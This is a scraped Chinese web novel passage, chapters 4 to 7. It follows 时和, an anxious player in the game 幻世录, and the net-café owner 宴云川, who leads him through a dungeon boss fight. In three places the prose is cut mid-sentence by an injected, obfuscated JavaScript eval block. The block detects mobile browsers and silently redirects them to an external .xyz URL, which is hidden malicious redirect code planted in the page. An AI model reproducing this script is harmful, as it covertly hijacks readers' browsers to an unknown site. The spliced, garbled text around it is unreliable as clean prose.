[看到你面前那个红头发骚包男了吗?他等下会从你们衣柜里随机挑选衣服和配饰进行搭配,然后跟他合影,衬托他的美貌(非主流)。] [这么简单?] [就这么简单,结束了任选商城一套价值300的衣服跟他说打钱就行,他钱多。] 新人刚开始只有一套新手装或者“首充白菜装”,要等15级才能打开商城消费。所以对于新人来说,这个小游戏不会留存非主流丑照,等于送钱。 问问题的新人大概率是个社牛,知道了规则,很快融入到“感谢川老板馈赠”的大部队中。不稍片刻,另一个新人也跟上开启了话唠模式,直说自己今天左眼皮跳,原来好事在这。 聊得开的在哪都受欢迎。 “冰魄穿心”是一个趣味技能,打不出伤害,变成雪人后玩家可以互动,比如向雪人砸雪球,或者戳一戳之类。 时和看着四周玩家兴致勃勃凑到那两个新人面前,各种趣味技能眼花缭乱往雪人身上放。突然,有一个拿着白羽法杖的人走到他面前,朝他丢了个雪球。 “幻世录”人物建模做得非常逼真,如果开启了摄像头面部捕捉,游戏还会随着角色发出来的话和他摄像头前的表情判断喜怒哀乐进行变化。 那人脸上扬着大笑,头顶气泡开始打字: [这个雪人在挂机吗?怎么跟个哑巴似的不说话?不会是谁的小号吧?小号禁止参赛啊!] 周围的角色都扬着笑,一双双眼睛盯着时和走过来。长安街倏忽变成了教学楼走廊和操场跑道。 时和感觉笑声穿透屏幕吵得耳朵疼,笑声中夹杂几句“你看”、“就是他吧”、“离妈宝男远点,小心他妈找你麻烦”等等嘲讽,近在耳旁。 明明当前频道没有这几句话,时和却听到了。 天气好像升温了,热得喘不过气来。 他放在鼠标上的手指不自觉颤抖。鼠标为了保护主人,关掉了游戏。 ** 星络网吧 林朔野还跟见了鬼似的看着系统消息里的“已见”两个字,怔愣间,他透过玻璃门往收银台看了一眼,以为是宴云川上了那个尘封两年的号。 转念一想,怎么可能。 正想点开好友列表看看情况,一声震天响穿透喇叭强行把直播间弹了出来,炫酷的烟花炸满整个屏幕,把他拉回了现实。 这是直播间最高级的礼物,宇宙箭。 林朔野大梦初醒,想到自己还在直播,落在好友图标的手顿时滑了出去,回到屏幕中央。 弹幕刷着“川老板在干嘛”、“川老板死机了吗”。 林朔野调整好语调,开玩笑说:“怎么可能死机呢,宝贝儿,我这儿的网速一秒下载幻世录都不成问题。不说话?哪有不说话,刚才在思考等会穿哪套衣服更帅气!” 弹幕又发出“听你吹”、“帅帅帅,帅死了”的调侃,还有人出着馊主意让他现场染个绿毛。 直到有人问:“诶?怎么少了一个人?” 粉丝对着ID数人头,发现少了己见。 直播间的字体比游戏内字体大。一排排“己见”刷过去,林朔野才看见那个字是“己”,不是“已”,只是因为游戏字体缩成一团,加上自己先入为主,这才认错了。 网游玩家来来回回,但总归有一直守在游戏里的元老玩家,见证了许多聚散离合。有人认出这个ID,说着:“好巧,这名字跟我认识的一个PK大佬超级像!可惜他A了……这不会是小号吧?” 林朔野看见这条弹幕心头一悸。 是很巧。 太巧了,就像季风回环,书页叠影一样巧。 清晨的网吧鲜少有顾客进门,留在网吧的大多是昨晚通宵到天亮的熬夜客。宴云川帮着网管一块收拾昨晚残留下来的垃圾,中途折回收银台,又抱来两桶泡好的泡面。 看着穿梭在座椅间忙碌的身影,又看着那两个极为相似的名字,林朔野脑海里有了一个大胆而又冒险的赌局。他先安抚了弹幕,说“应该不是小号”、“下线了就换一个人抽”、“弹幕随机截图”。替换己见的人选出来后,又开始拉着受害者搭配非主流穿搭。 一套套雷人的穿搭出现在长安街头,毫无审美,毫无衣品。但凡换成隔壁换装游戏,随便拎出一套都能获得SSS的超高级评分。 看着十张合影照片,林朔野满意地发了游戏朋友圈,配文:今天也是帅到爆炸的一天。 做完“正事”,林朔野关掉直播,登上宴云川的账号。他先在搜索框里搜出“己见”,认真看过这个新人的面板,点击右下角送礼功能,购买新时装毫不犹豫送了出去。 边送边说:“给我惊喜吧,宝贝儿。” 网管回到收银台,正好在摄像头里瞥见这个笑容诡异的神经病,冷冷地打了个颤。 ** 时和看见礼物是在下午。 像早上那样的幻听时和不是第一次出现。只要人多,幻听就会冒出来,不受控制。好在吃过药,心里那点恐惧和排斥会在药物的作用下变成嗜睡。 午休醒来他心情平复很多。 按照计划表,午休过后是散步,接着继续两个小时治病。计划表已经发给了濯清。濯清说过,制定了计划就要执行。 时和盯着计划表恨不得戳个洞来,内心批评自己计划表做得不够全面,没有给像今天这样的突发情况留个后路。譬如治病改成两个小时,留两个小时机动时间,这样下午就不用上游戏了。 想着游戏里一张张嘲讽的笑脸,他想发信息跟濯清说不想治了,不想玩游戏,人太多不舒服。 点开微信,濯清提前发了消息: [宝贝,妈妈之前在国外谈的那个项目有进展了,我得过去跟一下,去佛罗伦萨。你在家好好照顾自己,身体不舒服就给妈妈打电话。等妈妈回来给你带礼物,爱你。] 时和又想到那句“等你病好了,妈妈就不用两头跑了”,捏着手机,把退缩的心强行摁了回去,整个人站在屋子中央迷茫愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546510|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神。 转头间,他目光瞥向床头柜。 床头柜最底下放着一箱裁剪成手帕大小的气泡膜,是濯清专门准备的——时和紧张和恐惧的时候就喜欢捏东西,医生说这是他自己的心理防御机制,不到过度依赖的程度不用控制。 他喜欢捏的东西有很多,也可以不是气泡膜。捏橡胶、玩偶、或者随手的任何东西都可以,只是气泡膜的声音更解压。 搬出箱子,时和坐在窗前,表情严肃,从箱子里抽出五张气泡膜依次摊开摆在身前,好似在进行一场重大的仪式。 啵—— 第一颗气泡膜被按爆,像爆米花炸开一样,能让空气都带着甜。时和越按越快,到最后直接整张抓成一团。在捏爆了五张气泡膜过后,他的表情舒展开来,长长呼出一口气,拍拍手起身,收拾好残局,这才换衣服出门。 散步回来,他就看见了邮件通知。 “幻世录”的赠礼系统是通过邮件发放。时和凑近屏幕,睨大眼睛望着邮件那一栏送礼ID反复核对,终于确认此川云与视频里大家嚷着“川云牛逼”的川云是同一个人。因为他还穿着视频里那套素白长袍,而且同一个服务器不允许撞名。 点开角色信息,看见川云是引驾行的帮众,时和重点又跑偏了,心想这么厉害的人只是个帮众,那帮主得厉害成什么样。 而且他为什么要送自己礼物? 真是个怪人…… 时和看着邮箱右下角镶着金边还闪光的服装缩略图宛若收到定时炸弹,还没炸就开始烫手。 收是不可能收的。 可拒绝要不要跟送礼的人说一声?怎么说?说什么?直接拒绝不说会不会不太好?拒绝别人礼物是不是也不好?拒绝了对方不会来问他为什么吧? 自从休学后,时和的社交圈骤然缩小,五个手指都能排上序,而且大部分是别人说,他听着,简单回两句,甚至用不上思考。 长期不用的技能会生锈,比如社交。 时和后知后觉,这游戏的社交无所不在,防不胜防,一时非常懊恼自己在医院没有找到理由拒绝医生的提议,错过了最佳时期。 面对现在的情况时和有点不知所措,只好捏着鼠标在邮件上焦虑瞎点,盼望点着点着这封麻烦的邮件可以自动消失。 可惜愿望落空。 经两轮心里纠结和网上不靠谱的“指导”,时和紧张地点了拒收,并在回信一栏郑重打上两个字:谢谢,呼气发出。 ** 网吧到了下午开始忙碌起来。林朔野看着时间下机,承担了一部分网管的工作,端茶倒水,顺便解决一些软件下载的问题。 宴云川想搭手,林朔野把他推了回去,按在收银台前,拍桌指控:“我说哥你能不能闲一下!我好歹收你工资了,算你半个员工,哪有员工让老板做事的道理!你这样我压力很大的好吧!” 说着林朔野抓起鼠标点开幻世录,一条龙服务地登陆了川云账号,“你快坐好,玩玩游戏。这周PK打了吗!副本打了吗!周常清了吗!没清还好意思工作?” 宴云川品了品最后一句倒反天罡的话,捡过桌上打火机,在指间转了两圈点火说:“皮痒了?” “诶?11号机好像在叫我!” 一道残影飘过,林朔野溜之大吉。 宴云川目送林朔野背影失笑。不过这周收了波五一的尾,PK的确没打。想着新赛季已经开始,要重新爬分,宴云川也不跟再林朔野客气,陷进沙发点开游戏。进了游戏,看见邮件有未读附件,宴云川点进去。下一秒,他浑身血液仿佛凝固一般,猛地坐直身子。火机被鼠标线一扫而下。 哐当。 5. Chapter·脱敏 网管俞秋来星络也有一年了。在她印象中,自家老板向来泰山崩于前而面不改色,用户拿着啤酒瓶敲他面前了他都能笑着抬手接下丢垃圾桶,并开一瓶金银花露递过去。 俞秋还是头一回见到自家老板失态,以为网吧遇见了什么前所未有的大危机,手上刚拿起的一包辣条在脑补完网吧倒闭的大戏后,没拿稳,掉在了地上。她望着辣条和打火机,仿佛看见男朋友和丈母娘掉进河里,不知道先该救谁。 “老板……” 俞秋正想关心一下丈母娘、呸,宴云川,就见宴云川揉了把眼睛,又恢复往常随和淡然的脸色,起身自个儿捡起了火机,顺手捡起辣条放回货物架。 她也是吓傻了,对自家老板说了句“这个口味放左边,谢谢您呐”。两人都错愕愣了一下,随即宴云川笑开来,换手改道。 “放好了。” 俞秋赶紧赎罪:“老板,你没事吧?” “没事。”宴云川坐回电脑前,眯着眼看向自来熟跟客人搭讪的林朔野。 俞秋见他盯着屏幕不知道在想点什么,手上打火机倒是越转越快,眼神不像没事,表情又不像有事。她观察了一阵,对上宴云川望过来的视线又笑嘻嘻跑出去,心里老神在在说:“果然,老板心,海底针。” ** 林朔野面儿上在跟客人插科打诨,眼神却一直关注着收银台的动向。听见打火机掉落的动静,又见俞秋跑出来,他两下越过椅子,一个响指拦着俞秋贼兮兮地问:“秋儿,我哥怎么了?” 俞秋表示不知道。 看见林朔野一脸“要你何用”的表情,俞秋把手上的台本虚砸一下说:“那是你哥还是我哥?你自己不知道去问呐!” 俞秋比林朔野大一岁,高中毕业直接出来工作了。年龄相仿的两人容易聊得来,加上林朔野又是个自来熟,不到两天就开始在网吧打打闹闹。熟客已经成了习惯,偶尔还会开两人玩笑。 每每被开玩笑,俞秋就会说:“男的女的玩一块儿就得在一起?那我们网吧岂不成红娘洞啦!” 虽然最后被客人投诉了,但林朔野敬佩俞秋是个能人异士,十分投缘,越玩越近,成功变成一个跟班,经常帮俞秋忙前忙后。 跟班心情好了就叫俞秋“秋儿”,心情不好就叫“鳅鱼”,比如现在。 “我又不傻!鳅鱼你是不是傻!” 俞秋虚砸的那一下重新挥手,实打实拍上了林朔野的后背,嘴里喊道:“滚蛋!” 这声“滚蛋”跟着林朔野“诶哟”的叫声齐齐到了收银台。宴云川抬头,挑着眉头敲了两下桌面,示意林朔野滚过来。 林朔野又不蠢,扭着脖子“诶哟诶哟”就往厕所方向走,边走边说:“大学生脆着呢!这一掌下去我得休息一个月!不行不行!我要去厕所验个伤!” 此子心虚溢于言表。 宴云川知道林朔野是准备装傻到底了,也没再问下去。他看着邮件里的“己”出了会儿神。见这个账号还在线上,鬼使神差点进去,确认职业不是天翎,心情说不上庆幸还是失落。 随即宴云川又莞尔自笑。笑自己好歹是在社会主义的熏陶下成长起来的新青年,方才居然冒出“人会不会轮回”这种迷信的念头,真是不应该。 最后,宴云川删除了那封邮件。 撞名而已。 他不能阻止世界上有另一个人叫宴云川,也不能阻止游戏里有一个相似的名字叫己见。 ** 宴云川的邮件删得干脆,时和却紧张了一周。他每天上线都很忐忑,生怕川云来质问自己为什么拒绝他,或者上线听见自己不好的传言,以至于好几天不敢去长安主城,在路边遇见ID带“川”带“云”,都得飞个大轻功从人群上方越过去。 “答应”和“拒绝”本是两项基本社交技能,可时和对前者轻车熟路,对后者诚惶诚恐。 桌上台历已经翻过“立夏”的提醒,窗外榕树新叶初绽,枝繁叶茂。时和有一搭没一搭地撩着日历边儿,指尖在鼠标上左右敲着,看向窗外陷入了自我反应和纠结。 他是不是做错了?先接受再回个礼会不会更礼貌?可这样一来一回免不了寒暄……人与人相处真麻烦。 窗外飞过一只蝴蝶,撞着玻璃似乎想进来。时和起身开窗,任由蝴蝶飞进来,在电脑旁绕了一圈,落在屏幕中央匹配成功四个大字上。 …… 什么时候点的匹配? 匹配什么了? 他慌乱晃着鼠标想取消匹配,却发现根本没有取消的选项。页面一转直接到了队伍界面,为首队长是尹川,而队伍末端的ID正是自己躲了一周的人,川云。 时和觉得自己要热融化了。 ** 引驾行帮会频道发出三排问号。 副帮主“单身多自由啊”问尹川:川儿啊,你是不是忘记取消自动匹配了??? 尹川:诶去!还真是! 尹川:现在关了。 兮以城空:这是个没满级的新人,能打吗? 单身多自由啊:要不请出去吧。 尹川:都匹配进来了,现在踢出去也不太好。 尹川:我们队的平均战力早就超标了,少一个人照样能打。况且不是新出了一个帮扶活动,带新人打本可以得积分吗,正好,一举两得啦! 林朔野坐在宴云川旁边,不怕死地顶着宴云川目光,龇牙给了个二百五的笑脸:“你说是吧,哥!” 俗话说得好,伸手不打笑脸人。 可宴云川不是二百五。 “我记得副本匹配到的人需要队长同意才能进队。如果是自由匹配,那现在剩下三个坑都应该满员才正常。林朔野,你在玩什么?” “哥——” “我看起来很好糊弄?” 见宴云川语气真有了厉色,林朔野意识到事态严重,连忙坐直了身子,说着掏心窝子的话:“我想做什么?我想以毒攻毒,想让你脱敏!” “哥,这是一个很好的契机不是吗?难道你这辈子都不能面对这个ID、面对凌岳这个名字了吗?凌岳哥看见你这个样子,他真的会安心吗……他不是凌岳哥,哥,你在担心什么?” 宴云川疲惫地捏着眉心。 他没担心,他在害怕。 哪来的以毒攻毒。这个账号的出现就像一个惩罚,一个提醒他不要忘记自己罪孽的警示,每多看一眼,就听见凌岳在问“你凭什么云淡风轻”。 队伍几个新人不清楚情况,副帮主单身却是知道当年恩怨的。两年前,川云跟已见闹了很大的矛盾,已见因为川云A了游戏,甚至断了游戏所有社交圈。 他私聊林朔野:川儿啊,这个新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546511|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在队伍里真的没事吗?你哥那……不好交代吧…… 林朔野:放心,我搞得定。 他了解他哥。 就是因为太了解了,所以才想赌一把。 林朔野偷偷瞥了眼宴云川的表情,点着己见的ID弹出队友管理,半真半假叹气:“看来这个小幽篁注定得不到大佬带飞的极致体验,我这就把他踢了。” 屏幕弹出:【是否将玩家己见请离队伍】 就在林朔野鼠标挪上去的时候,宴云川说:“戏弄一个路人做什么。人已经进队伍了……至少得带他打完这个本。” 就知道会这样。 他哥怎么可能把自己的情绪带给无辜的人。 林朔野捏着耳垂,给自己竖了个赞。正得瑟着,又听见宴云川说:“只此一次。阿朔,不要再管这件事了。” 他抓着后脑勺,“啊”了一声作为回应,心里想的却是:肯定要管,我不管就没人管了。 不过第一关总归过了。 林朔野盘着膝盖扭了个舒服的位置,正准备开本,看见队伍频道连串问号。他纳闷往上滑看聊天记录,突然惊乍扭头:“哥,你背着我们把这个小幽篁怎么了?他怎么莫名其妙跟你道歉?!” 队伍频道最上两条信息: 己见:川云。 己见:那天对不起。 队内已经炸锅了,单身和两个元老拉了个小群吃瓜,怀疑这个“己见”是不是“已见”。时隔两年的道歉,难道当初的争吵另有隐情? 他们已经臆想了十几个剧本,单身还开玩笑说收藏起来,下回做视频大赛的剧本素材。 猜着猜着,三人已经认定了“己见”就是“已见”,对这两个昔日搭档冰释前嫌颇为唏嘘。单身眼窝子浅,眼里都染上了泪光。 而后,就看见队伍频道一句: 己见:那天拒绝你的礼物对不起。 三人没想到是这个展开。 林朔野也没想到居然是这样的展开,急忙问宴云川:“拒绝礼物?什么拒绝礼物?是我送的那套衣服吗?我看他身上不是穿着吗?” 宴云川也在状况之外。他没想到有人会因为拒绝了对方的礼物道歉,消化了一下信息说道:“自己买的吧,衣服他没收。”同时在队伍频道发着“不用道歉,拒绝礼物是你的权利,我不会生气”。 林朔野终于捋清了剧情。 “没收?居然没收?” “没收哥你怎么不再送一次?” 队伍频道蹦出一句“谢谢”,宴云川挑了下眉,稍微有了“己见”非“已见”的割裂感,心想这是哪个礼仪之邦走出来的外交代表。 等到林朔野又提了一次把礼物送回去的想法,宴云川才端着朽木不好雕的目光看他:“没人跟你说过,礼物送一次是心意,拒绝了再送一次是困扰么。” “话不是这么说。”林朔野难得正经,“老沈说了,礼物送好几次就是爱情……或者友情。总之,要主动才会有故事!” 老沈是林朔野舍友。 宴云川还以为这位少爷要吐出什么哲理名言,没想到开口就是一句浑。 两人说话间,队伍已经集齐。 宴云川觉得林朔野一宿舍都是活宝,根本救不了,头疼地端起可乐喝了一口,说道:“开你的本吧,少年,网吧已经够多故事了。” 6. Chapter·蚌母 时和看着当前频道的“拒绝礼物是你的权利”愣神,内心掂量着后面那句“我不会生气”的真实度。这应该是接受他道歉的意思吧…… 那只绕梁而旋的蝴蝶终于飞走,他额角因为歉意而沁出的细密汗珠却未褪去。正做着阅读理解,界面突然弹出副本确认的提醒。 “嗯?” 队伍其余十一人已经确认。不知是谁开麦催促着:“宝贝儿确认呀。别紧张,别害怕,按下确认就是干!放心好了,我们包带飞的!” 时和想说:“可是他不会。” 玩“幻世录”虽然有一周了,但他除了单机任务——比如种菜、剧情、世界探索——别的玩法都没涉猎。本想研究攻略,结果送礼的事悬在心头,便耽搁到现在。想着反正只玩这一阵,副本打不打也无所谓。如果玩了一个月病情依旧没有好转,心理医生就会放弃这个治疗方案了。 匹配进川云的队伍是一个意外。 队伍不说话,他以为川云生了气。能让人气到失语,说明拒礼的事是自己做错了。做错事应该道歉,可道歉了下一步为什么是打本呢?这两者好像没有联系。 时和重点再次跑偏。因为副本超时未确认,界面退出。队伍另一个人不耐烦道:“打不打了?被带还磨磨唧唧!不打就自己退出别耽误我们时间!两个钟匹配不到一个正常队伍,够操蛋烦人……” 这是后来申请进队的一个路人,似乎刚经历九九八十一种不顺,逮着个豁口一股脑散发怨气,喋喋不休。 路人让他退队。时和颤着鼠标想要操作,可鼠标好似失灵了,怎么都点不到正确位置。他试了几次,终于挪到自己的图标上,右键。 【是否确认退队】 正想把鼠标挪到“是”上,队伍有人说:“不好意思,我们这是慢热队,急性子建议换个快刷队伍。” 这声音仿佛雪山的风。 他喜欢漂亮的东西,漂亮的声音也算。 晃动的鼠标顿下来,时和眼前的雾气散开,下意识找着说话的人。等到视线清晰之时,他蓦地看见队伍末端川云的ID旁出现一个话筒,话筒随着声音上下跳动:“人走了,再组一个。” “好叻!”尹川的ID旁也出现一个话筒。只是这只话筒律动的频率赶不上主人说话的速度,“最后一天大家本都打完了,要不是我这周忙着复习没时间打哪轮得到他。他的功力刚压线,能给他进个队都不错了,等十秒就在那儿嘚吧嘚的……”一连串不带喘气的吐槽直往外蹦,蹦到下一个人进来停止。 时和被他的语速惊到了,界面再次弹出确认副本的信息他都没反应回来,鼠标条件反射地按了确认,生怕慢半拍再次被骂。 这次没有谩骂声,只有单身和另一个人在争等会谁拉怪。两人都不想拉,干脆口头玩起了石头剪刀布,单身以“网卡”为理由作弊获胜。 等待进场动画期间,尹川说:“宝贝儿,等会进去找个风景优美的角度挂机就行,看我们给你秀一波技术!” 时和被一声声“宝贝儿”闹红了耳垂。 怎么跟妈妈似的。 ** 进了副本,尹川开始分配任务。这是周常难度第二的“九绡宫”副本,总共四个BOSS。副本难度不能靠战力强打,得走机制。 机制即副本规则。 尹川:“单身不T就去踩阵眼。等会海啸,清絮就去东南方向开盾。BOSS血量36%的时候所有人到红色阵眼集合,城空注意清絮状态……” 单身和清絮是破军,清絮是主T。兮以城空跟他一样,是个幽篁。 时和老实地贴在空气墙边缘,看着地图上冒出六个坐标点,又看着眼花缭乱的技能砸向BOSS。期间尹川声音一直没有停下,从指导走位到提醒放BUFF,事无巨细,说得明明白白。 幻世录跟他以前玩的那款游戏的副本不一样。那款游戏的副本全靠功力压制,不存在队内交流,也不如幻世录的机制规则来得有趣。他听得专注,在打斗期间专门观察着大家的走位,又切了个副本攻略的视频双线对比。视频刚放到一半,队伍就打完了。 看不过瘾。 正期待下一个BOSS时,尹川麦里传出椅子拖拉离开的声音。尹川和单身原地打坐,兮以城空举着箜篌对两人放攻击技能,一副想把两人弄死的模样。队内开始自顾自聊了起来。 单身多自由啊:“云老板又去接客了?” 尹川:“看见秋儿一接三,坐不住了。” 兮以城空:“网吧大清早的就那么多人哦。” 尹川:“前两周还不这样。唔……我觉得吧,肯定是五一期间染上了网瘾,两个工作周戒断失败,赶着大清早来吸毒!” 又是接客,又是戒断,又是吸毒。 时和瞠目结舌,在心里给川云拼凑了一个年少失足沦落黑网吧打工趁着老板不在偷偷摸鱼的网瘾青年形象。想到宴云川的声音,他又猛摇头,把搭建好的形象自我推翻。 队里另一个路人玩家弱弱开麦:“这对话你们听听正常吗?引驾行是正经帮派吗?” 单身多自由啊:“不是。” 清絮:“瓦子钩栏。” 尹川:“宝贝儿,别听他们瞎说。” 路人听见一句否定都快喜极而泣了,然眼泪还没挤出来,尹川接着说:“没有比引驾行更正经的帮派了,别的帮派会喊一声“尹川最帅”就送一张帮主裸照吗?不会!” 时和感觉自己听不懂中文了。 震惊之余,尹川麦里又响起推门声和椅子挪动的声音。声音中夹杂一句:“滚蛋,等会儿我就退帮,别玷污我名声。” 时和看着尹川和川云的ID。 怪不得名字那么像,原来是朋友。 ** 人到齐了,副本继续。 这次的BOSS叫璇玑蚌母,她有一个很特殊的机制:当BOSS血量降低到10%会触发保命技能吐纳星辉,把队伍里时装度最高的幽篁和功力最高的随机队友一齐吞入蚌中。一旦被吞进去,需要幽篁和队友同步按下箜篌曲才能破局。箜篌曲一共二十八个音符,每一个音符都要同一秒按下,错一个就会失败。 惯例尹川说一遍机制,清絮开怪,时和找好角度观战顺便学习。刚开始一切都很正常,在BOSS血量掉下机制触发条件时,意想不到的事发生了。 尹川:“诶,诶诶诶!为什么被蚌母吸进去的是己见!城空你人呢?” 地图中央亮起幽篁技能。兮以城空站在场地中央茫然四顾:“我也纳闷啊!我手都放键盘上了!垃圾游戏又BUG了?” 单身多自由啊:“没见论坛说。” 尹川:“没事没事,我重开。” 几人说着就自断经脉。又来一局,走到50%血量时,单身还提醒兮以城空靠BOSS近一些。兮以城空都快和BOSS融为一体了,时和还是被吸了进去。 …… 队伍:撞了鬼了。 单身直接在世界频道问“有没有人遇到蚌母乱吞人的BUG”。恰巧一个刚打完蚌母的队伍回他:很顺利,没有BUG,16分钟打完。 单身“嘿”了一下:“这BUG专逮着我们薅?” 林朔野也纳闷了。 尹川:要不再重开两次试试? 目前也没更好的解决方案,其他人嗯嗯啊啊的同意,熟练点开自断经脉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546512|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蚌母的蚌壳里是一个小型海底世界,风景称得上优美,可时和没心思欣赏。他发现蚌母吸自己进去不是BUG,是因为自己的时装度高于兮以城空。 这个“惨案”要从送礼事件说起。 自从那天“被送礼”过后,时和就在研究怎么可以避免这样的事情再次发生。他看见送礼规则说如果对方已有当前时装,则送礼失败,于是一股脑清空了商城所有直售时装。现在问题来了。兮以城空的时装度是他的三分之二。 眼看自断经脉开始读条,时和急得敲字提醒。“不是BUG”的“B”刚打完,川云好似透着屏幕看见他打的字,帮忙说道:“不是BUG。” 只是说晚了半步,地上已经倒了一片人。 川云:“你们看……看己见的时装度。” 喇叭里响起尹川的弹舌声。 “己见”的ID从川云嘴里说出,带着几分僵硬和莫名的怅然。时和没想明白缘由,尹川的“卧槽”如同地裂山崩,震出队内层次不齐的“哎呀我去”。 清絮:“川儿,饿了吃点好的,别吞麦。” 兮以城空:“我耳朵!赔钱!一套300时装!” 顾不上跟兮以城空开玩笑,尹川噼里啪啦又是一顿输出:“卧槽你们看己见时装面板了吗!八万时装度!八万啊!城空五万五能不被蚌母嫌弃嘛!” 队伍:夺少? 八万时装度其实不算高,但凡玩得久些,或者背包里有四套稀有发色,时装度分分钟八万。八万时装度是不高,但是八万时装度出现在一个刚玩一周等级都没满的新人身上,那是相当高了! 队伍又爆出一连“卧槽”,这次是单身。 单身多自由啊:“卧槽卧槽卧槽,看他时装图鉴!他买了商城所有直售时装!” 这下队伍“卧槽”成山了。 虽说“幻世录”惯以抽奖和限时横霸江湖,直售时装少得可怜。但毕竟是老牌游戏,底子丰厚,清空商城直售时装保守也得□□千。直售时装是最不保值的,一般给像林朔野这样的散财区博主抽奖用,或者用做帮会福利。己见一来就清空了,等于花钱花在刀把上,还不眨眼。 此子前途不可限量! 作为帮派副帮主,单身动了招人的心思,哐哐发出一条预制话术:“引驾行帮派诚招有缘人,入帮即享帮主熊抱一次、帮战躺尸补贴五文钱、帮主黑历史DVD全集!” 招聘话术发出两分钟,单身等不到回应,直接CUE时和,上来就套近乎:“见儿,想来我们帮派吗?我每周带不同的俊男美女陪你打本!” 尹川这次真的喷麦了。 当前频道陷入死寂。死了三分钟,才微活地发出一句:谢谢。 单身多自由啊:“这是答应了还是拒绝了?不是,我读书少,品不明白谢谢的意思啊!” 队伍里响起几声短促又重叠的笑。 清絮和兮以城空带头嘲笑单身的招聘话术,开玩笑说“咱老大的DVD已经不吃香了”、“你自己看看那点铜钱不磕碜吗,我去长安街头要饭都有两百文”、“我要是知道帮派有你这个变态,我当初也不会进帮的”云云。 队伍里的话筒此起彼伏。时和握在鼠标上的手指狠狠扣紧,额间的汗珠越来越密,从眉弓滑落。他不想加入帮派,不想融入这份热闹之中,也不知道怎么拒绝会比较好,便说了谢谢。现在看来谢谢也不是正确答案。 苦恼之际,忽而听见一声平稳柔和的音调。音调好似冰雪消融酷暑,让人瞬间平复情绪。 音调依旧带着莫名的异样,却没再停顿。 川云:“先打本吧。” 川云:“等会儿是己见跟我进去,对吗?” 7. Chapter·同心 “己见”这个名字是与时间赛跑临时打的。本打算进了游戏买个改名卡改了,可系统提示需要等待30天才能改名,时和这才继续用了下去。 一开始,他觉得这名字拗口,现在听着听着却听出了几分悦耳。 固执己见。 己见。 不改了吧。 这世界上怎么会有这么好听的声音。这么好听的声音一遍又一遍的重复着“己见”两个字,听上去像是一首催眠曲。 时和险些被催眠,一声“宝贝儿”直接把梦境打破。他猛地一激灵,听见队伍麦尹川说:“不会听不见麦声吧?那就有点难搞了……” 单身跟兮以城空出着馊主意:“空儿,我看这样,你一鼓作气,也把商城衣服全买了!保准让蚌母爱得死去活来!” 兮以城空让他要么滚要么打钱。 尹川还在跟川云商量等会蚌母怎么打,自己给自己想了个釜底抽薪的法子:“要不我现场买个转职卡转职?大不了玩一个月幽篁!” 清絮说他不需要一个只会抢仇恨的奶爸。 时和听得不明就里。 当前频道刷了十几条未读,他往上翻,翻到最顶上川云问他能不能听见的信息,这才如梦初醒。随后跟反射弧失踪似的,后知后觉回复:能听见,有喇叭。 许是他反射弧过长震惊到了在座的各位,尹川来了一句:“宝贝儿,你那的网络有延迟吗?” 延迟是什么? 时和正想百度,川云开口道:“能听见吗?” 他秒答:能。 喇叭传出接连几声松气的呼吸,接着响起几声“还好还好”、“有救有救”、“又好起来了”的调侃。 川云解释道:“蚌母这个BOSS机制比较特殊,她会吞我们进蚌壳,像前两局那样。这个BOSS要从内部攻破,需要我们合作,可以跟我试一试吗?” 合作! 想到刚才队伍合作的画面,时和睁大了眼,内心蠢蠢欲动,可又怕自己拖了后腿。他手指因为激动和害怕,轻轻落在“K”键上,悬而未决。 接着,又听见川云说:“不用害怕灭队,我们可以磨合几轮。出现琴曲,按从左到右的顺序,我数三秒我们一起按。我会数慢一些,像这样‘1——2——3——按‘,每个按键有5秒倒计时,时间够。” 这人是有读心术吗…… 单身调侃川云:哟哟哟,还1——2——3——按,云老板,你对我们不是‘按、按、按按按’吗?怎么到了小幽篁这里还开始教学了?” 川云:“他是萌新,你们沾豆浆都嫌老。” 萌新两个字绕着喇叭转了好几圈。时和耳垂的红晕因为一个“萌”字,直直蔓延到了锁骨。悬在键盘上的手指落了下去,打字道:可以。 ** 昏暗的包厢泛着屏幕幽光。宴云川盯着当前频道的“可以”二字,心想这次终于不是谢谢和对不起了。他又安抚道:“别紧张。” 己见:嗯。 还真是言简意赅。不过也挺好,跟那个人形象越是大相径庭,他越能接受这个名字…… 屏幕左半边还停留着己见的角色信息,显示成就完成数量“18”。宴云川点开成就栏,只有休闲成就。什么种地、打工、捡垃圾……面面俱到,甚至还解锁了一个“双星伴月”的特殊天气拍照成就,唯独副本一个没亮。 看来是真萌新。 关闭界面,他抬手换掉了自己的特技。 